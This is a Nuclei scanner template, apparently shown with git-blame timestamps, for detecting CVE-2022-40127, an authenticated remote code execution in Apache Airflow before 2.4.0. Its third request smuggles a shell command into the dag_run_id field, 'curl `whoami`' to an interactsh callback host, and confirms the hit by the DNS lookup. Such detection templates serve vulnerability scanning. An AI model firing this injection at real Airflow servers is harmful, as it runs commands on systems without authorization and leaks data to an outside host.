2022-11-23 12:41:34 +00:00
id : CVE-2022-40127
info :
2023-07-10 08:02:45 +00:00
name : AirFlow < 2.4.0 - Remote Code Execution
2022-11-23 12:41:34 +00:00
author : DhiyaneshDk,ritikchaddha
severity : high
description : |
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
reference :
- https://github.com/Mr-xn/CVE-2022-40127
- https://nvd.nist.gov/vuln/detail/CVE-2022-40127
2023-07-11 19:49:27 +00:00
- http://www.openwall.com/lists/oss-security/2022/11/14/2
- https://github.com/apache/airflow/pull/25960
- https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
2022-11-23 12:41:34 +00:00
classification :
2023-07-10 08:02:45 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
2022-11-23 12:41:34 +00:00
cve-id : CVE-2022-40127
2023-07-10 08:02:45 +00:00
cwe-id : CWE-94
2023-07-11 19:49:27 +00:00
epss-score : 0.13375
2023-07-10 08:02:45 +00:00
cpe : cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
2022-11-23 12:41:34 +00:00
metadata :
2023-07-10 08:02:45 +00:00
max-request : 3
verified : true
2022-11-23 12:41:34 +00:00
shodan-query : title:"Sign In - Airflow"
2023-07-11 19:49:27 +00:00
vendor : apache
product : airflow
2023-07-10 08:02:45 +00:00
tags : cve,cve2022,airflow,rce,oast,authenticated
2022-11-23 12:41:34 +00:00
2023-07-10 08:02:45 +00:00
http :
2022-11-23 12:41:34 +00:00
- raw :
- |
GET /login/ HTTP/1.1
Host : {{Hostname}}
- |
POST /login/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
- |
@timeout : 15s
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
"conf": {
"dag_run": "{{randstr}}"
},
2022-11-23 12:47:53 +00:00
"dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}" ,
2022-11-23 12:41:34 +00:00
"logical_date": "{{date_time(" %Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"
}
cookie-reuse : true
2023-07-11 19:49:27 +00:00
2022-11-23 12:42:45 +00:00
matchers-condition : and
2022-11-23 12:41:34 +00:00
matchers :
- type : word
part : body
words :
- 'state": "queued"'
2023-07-10 08:02:45 +00:00
- type : word
part : interactsh_protocol
words :
- dns
2022-11-23 12:41:34 +00:00
- type : status
status :
- 200
2022-11-23 12:43:49 +00:00
extractors :
- type : regex
name : csrf_token
group : 1
regex :
- 'type="hidden" value="(.*?)">'
2023-07-11 19:49:27 +00:00
internal : true